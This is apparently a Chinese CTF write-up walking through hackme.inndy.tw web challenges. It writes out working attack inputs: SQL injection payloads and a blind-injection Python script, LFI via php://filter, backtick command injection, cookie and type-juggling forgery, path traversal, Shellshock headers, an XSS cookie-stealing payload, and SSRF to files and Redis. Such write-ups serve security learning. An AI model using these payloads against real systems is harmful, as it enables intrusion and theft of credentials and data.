hackme

记hackeme做题

hide and seek


查看源代码,搜索flag,看到flag



guestbook


简单的SQL,进去看到一句no data,点击new post可以插入新的数据,然后再回到message list可以看到刚才插入的数据,点进去阅读,看到可疑的URL:?mod=read&id=216。

尝试注入:id=216 order by 1,一直尝试到id=216 order by 5发生错误,看不到数据,确定字段数为4。

继续注入,

id=0 union select 1,2,3,group_concat(talbe/column_name)from(information_schema.table/column)where(table_schema)in(database())

最后在flag表的flag字段中拿到flag



LFI


随便点点发现?page=pages/login类似于文件包含点的地方,尝试php伪协议,访问

?page=php://filter/read=convert.base64-encode/resource=pages/login

base64解码一下,看到关键源码

if($_POST['user'] === 'admin' && md5($_POST['pass']) === 'bed128365216c019988915ed3add75fb') {

    echo $flag;

}

把MD5值拿去网上解密一下,拿到明文为passw0rd

提交user=admin&pass=passw0rd,拿到flag



homepage


在F12控制台看到二维码,扫码拿到flag



ping


命令执行,过滤了很多用于连接命令的字符,但是反引号没有被过滤,我们可以使用反引号来执行我们的命令

反引号在linux命令行的作用是执行中间的命令,并将执行后的结果取代反引号命令,然后再执行外面的命令

构造?ip=`ls`即可看到目录下的flag.php,然后构造?ip=`tac *`拿到flag

顺带一提的是,本地测试的时候,这样拼接命令,如果目录下文件过多或者读取的文件过长就只会返回错误信息,不会得到执行结果。得到结果也只能拿到第一个文件的文件名,读取也只能读取到一行的数据。



scoreboard


在http头的x-flag中看到flag



login as admin 0


SQL题,进去后看到登录页面,点击查看源码,几乎没有过滤,用\'代替',提交

name=\'union select 1,1,1,1#&password=a

拿到flag



login as admin 0.1


因为在登录后看的到回显的2,所以一步步注入

name=admin\'union select 1,group_concat(table/column_name),3,4 from information_schema.tables/columns where table_schema=database()#&password=1

最后知道flag在h1dden_f14g表的the_f14g字段里,然后select出flag



login as admin 1


跟0没有什么不同,关键词匹配都是跟空格一起匹配的,那就将空格换成%0a,提交

name=\'union%0aselect%0a1,2,3,4#&password=1

拿到flag



login as admin 1.2


盲注题目,贴个脚本

# -*- coding:utf8 -*-

import requests

myd = requests.session()

header = {

"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0"

}

url ="https://hackme.inndy.tw/login1/"

true ="You are not admin!"

#database() 15 login_as_admin1

#0bdb54c98123f5526ccaed982d2006a9,users

#id,4a391a11cfa831ca740cf8d00782f3a6,id,name,password,isadmin

result =""

count =0

for xin range(250):

print "[+]...testing " +str(x +1)

for yin range(32,127):

payload ="\\'or(ascii(mid((select group_concat(4a391a11cfa831ca740cf8d00782f3a6) from 0bdb54c98123f5526ccaed982d2006a9),%s,1))=%s)#"%(x +1,y)

payload = payload.replace(" ",chr(0x0a))

data = {

"name": payload,

"password":123

        }

mys = myd.post(url,data=data,headers=header).text

if truein mys:

result = result +chr(y)

print "the result is: " + result

break

        count = y

if count ==126:

print "[√]the result is: " + result

break



login as admin 3


查看源码,简单审计一下代码

登录后会在cookei里set一个字符串,该字符串base64、json解码后会是有两个键的数组,分别是data和sig,如果sig和密钥加密后的data==,并且在data经过json解码后产生的数组中,键1的值要==true

这里可以用0==几乎任何字符串的方式,来进行弱类型匹配绕过密钥加密

我们用guest进行登录,拿到cookie后进行编程修改,获得新的cookie

eyJzaWciOjAsImRhdGEiOiJbXCJndWVzdFwiLHRydWVdIn0=

修改cookie访问,拿到flag




login as admin 4


查看源码,要拿到flag,要求post提交user为admin,但同时如果post提交的password不===服务器的password变量,就会强制跳转。

跳转可以用抓包来绕过,但是这个网址是https网址,用bp抓包有点麻烦,所以我们使用curl,这时就不需要password了

执行curl -d "name=admin" https://hackme.inndy.tw/login4/,拿到flag



login as admin 6


审计下源码,构造数据

得到data={"users":{"admin":1},"password":1,"username":"admin"},提交,拿到flag



login as admin 7


审计源码,还是弱类型匹配,利用0exxxxxxx==0,提交name=admin&password=s878926199a,拿到flag



dafuq-manager 1


打开网址,用提示的guest/guest登陆进去,看到一个see-me-if-you-need-tips.txt,提示我们创建一个值为me键为help的cookie。用firebug创建cookie,然后调一下过期时间,看到下一句提示"Very good. You know how to create cookie. How about tamper a cookie?",在cookie中看到可疑的show_hidden参数为no,将其改为yes,再次访问。在.good.job.here.is.your.hidden.flag-1.txt中拿到flag



dafuq-manager 2


这道题要求我们用管理员账号m进行登录,下载源码压缩包后审计一下源码。可以得知登录的处理逻辑是从.config文件夹中的.htusers.php中获取到用户信息,然后与我们提交的用户名和密码进行比对,如果用户名存在、密码相等且存放的$GLOBALS["users"][$i][7]为1,就登录成功。因为数据存储在文件里,所以我们就无法进行SQL注入,虽然密码相等判断用的是==,但是由于密码会进行MD5加密的原因,也无法绕过,所以思路还是去到拿到.htusers文件上去。

首先是下载,追踪到fun_down.php,发现stristr($abs_item, '.php'),那想要下载,htusers.php基本是没戏了。

然后是读取,搜索file_get_content,include,require等函数,其中readfile函数在fun_down.php里面无法使用,而f可读的open函数在两个地方都有,但是在lib_zip.php中的那个无法输出所读取到的数据,所以我们去简单看看fun_edit.php中的edit_file方法,这里会将读取的数据输出

接下来详细审计一下代码,

最前面的($GLOBALS["permissions"] & 01) != 01条件可以去掉,因为我们guest用户的permissions为1

接下來的get_is_file函数调用了is_file,这个可以无视

然后是get_show_item,

第一条可以将cookie中的show_hidden改为yes绕过,

第二条的$GLOBALS["no_access"]在.htusers里可以看到,为后缀是.ht的文件,可以无视

第三条的$GLOBALS["show_hidden"]在.htusers中可以看到,为0,所以dir中不能含有/.,不过item就没有这个限制了,我们可以将../../这些写在item里来绕过

接下来是file_in_web函数,要求是不能读取这个项目以外的文件,可以无视

然后我们不需要savefile什么的,就跳过接下来的一大段代码

最后,开始构造?action=edit&item=../../.config/.htusers.php&dir=,即可读到文件内容,拿到admin的密码34af0d074b17f44d1bb939765b02776f,拿去MD5解密一下,拿到明文how do you turn this on,然后登录管理员账号,访问.flag-2_(´・ω・`).txt拿到flag



dafuq-manager 3


题目提示说Get a shell to find flag 3,也就是说在源码里有隐藏的后门,我们搜索一波执行命令的函数,发现system,exec,assert都无法使用,最后在fun_debug中找到一处evil的利用点

密钥可以在下载到的源码里面找到,是KHomg4WfVeJNj9q5HFcWr5kc8XzE4PyzB8brEw6pQQyzmIZuRBbwDU7UE6jYjPm3,很神奇

我们可以自己写一个脚本来生成cmd,具体参考make_command方法

strcmp可以用数组来绕过,这样就会返回false了

关键词过滤可以用拼接来绕过

尝试用ls命令

action=debug&dir[]=&command=JGE9InN5c3QiOyRiPSJlbSI7JGM9JGEuJGI7JGMoImxzIik7.516a67c2e080bd0d1c91a4a4ef68734f1ed0aa404991cbb2a4f1751c510f09b9,看到目录下有flag3目录

继续,看到flag3/flag3,但是直接cat好像读取不到,这是看到目录下还有一个c程序,猜测是用这个文件读取

action=debug&dir[]=&command=JGE9InN5c3QiOyRiPSJlbSI7JGM9JGEuJGI7JGMoIi4vZmxhZzMvbWVvdyAuL2ZsYWczL2ZsYWczIik7.dd5112e1ee879d74e3f5434e368ceeeae2893bd77a23de7ed8a742cf406a9094

拿到flag



wordpress 1


一个看起来像是用wordpress搭建的博客,在一篇名为Backup File的博文里可以下载到博客源码

审计源码......代码量好大好多啊

在wp-content/plugins/core.php里面可以看到一个可疑的方法

把MD5去解密一下,拿到明文cat flag,修改一下XFF,然后访问

https://wp.hackme.inndy.tw/?passw0rd=cat%20flag

查看源代码,拿到flag



wordpress 2


如果继续翻翻博文,在page2里可以看到一篇受保护的文章flag2,需要密码才能看到内容,看来是要从源码里找个

后门来绕过密码了

继续翻看源码......

在wp-content/themes/astrid/template-parts/content-search.php看到可疑代码


把post提交的什么东西处理之后,将数据输出在了注释里面

搜索一波$post->post_,看到一些参数

尝试get提交debug为title,因为这句疑似后门的代码在search中,所以应该是要搜索才能触发这个后门,我们访问https://wp.hackme.inndy.tw/page/2?s=&debug=title

可以看到FLAG2的title,那就很明了了,访问https://wp.hackme.inndy.tw/page/2?s=&debug=content,拿到flag



webshell


点进去,看到一篇空白,查看网页源代码,发现行数很奇怪,拉到最下面可以看到源码

解码一下好了,看到肉眼能看懂的源代码

由于要用到remote_addr,所以我们可以在自己的VPS上布置一个PHP,然后访问它来获得payload

然后就去找flag吧

有点坑的是,真正的flag被隐藏了,ls要加上点参数选项才能看到,访问

cmd=%06%05%10%11H%5BMPYPR

&sig=d49331e8571775ed4c1842a1b478dc036d513b5c867992267859b876211b4f8b1ccb7915e7638925b08e960c5a6b8511e1a657b5619f82a9c76d21b5bdf107d2

拿到flag



command-executor


进去后随便点点,cmd可以执行命令,但是只能执行两个命令,List-files可以看到目录下的文件,修改file参数可以查看任意目录,此时可以发现index.php?func=man等URL中的参数值都是目录下的php文件名,猜测存在文件包含

访问index.php?func=php://filter/read=convert.base64-encode/resource=index,可以拿到源码,看下源码会发现一个奇怪的函数

putenv("$key=$val")

效果是配置环境变量

这是一道CVE题目,漏洞是破壳漏洞,参考:

https://security.stackexchange.com/questions/68325/shellshock-attack-scenario-exploiting-php

http://www.freebuf.com/articles/system/45390.html

首先测试一波,添加http头

然后访问https://command-executor.hackme.inndy.tw/index.php?func=cmd&cmd=env,服务器就会先将我们带有的恶意http头写入环境变量,然后在执行bash命令的时候就会触发这个漏洞了,同理,访问https://command-executor.hackme.inndy.tw/index.php?func=ls同样可以触发漏洞

命令执行成功,然后我们一步步走下去就好了

我们在根目录下看到flag,但是该文件的权限是-r--------,也就是只有root才能读取,这时应该就需要同目录下的flag-reader来读取flag了,用?通配符绕过对"flag"这个字符串的过滤,也可以尝试用拼接命令来绕过(比如: a = l;b = s;c = ${a}${b};${c} ),我们先看看这个程序的逻辑

要求是在1s内将程序输出的16个随机数又输入回去,人的肉体应该是办不到的,需要借助其他力量了

用文件来解决,先

() { : ; };/?lag-reader /?lag > /var/tmp/moon < /var/tmp/moon

然后

() { : ; };/bin/cat /var/tmp/moon

拿到flag



xssme


注册登陆一下,看到主页有三个功能,发邮件,收件箱和发件箱,可以发邮件给admin,看起来是一道xss的题目

简单地试一下,发现<script、onerror都被waf了,那就使用<svg/onload吧

payload:

<svg/onload="

(html字符实体编码后的js代码)

">

flag就在admin的cookie里



xssrf leak


上一题的引申题目,先xss到admin,然后借服务端进行sstf来访问平时访问不到的文件

将cookie改成document.body.innerHTML看到admin页面的样子

发现request.php,猜测是利用这个php进行sstf

用XMLHttpRequest访问request.php,然后看到request.php的页面,发现可以利用post一个url参数来访问其他地方

后台应该是用curl的,我们可以使用file协议来读取文件

最后能发现flag在/var/www/html/config.php里面



xssrf redis


这道题是利用dict或者gopher协议来进行redis未授权访问

url类似于:dict://127.0.0.1:25566/(redis命令)或者gopher://127.0.0.1:25566/_(redis命令)

好像dict协议用不了?

用gopher协议,先获取所有key,看到flag,再查询flag的类型,最后读取




2018/10/09更新

login as admin 8


在Cookie中可以看到可疑参数,同时修改login8sha512和login8cookie中的is_admin即可getflag



login as admin 8.1


get提交debug=1且同时修改login8sha512和login8cookie中的session debug可以看到源代码,再次修改login8sha512和login8cookie中的debug_dump为config.php即可getflag

注意修改Object中的长度

推荐阅读更多精彩内容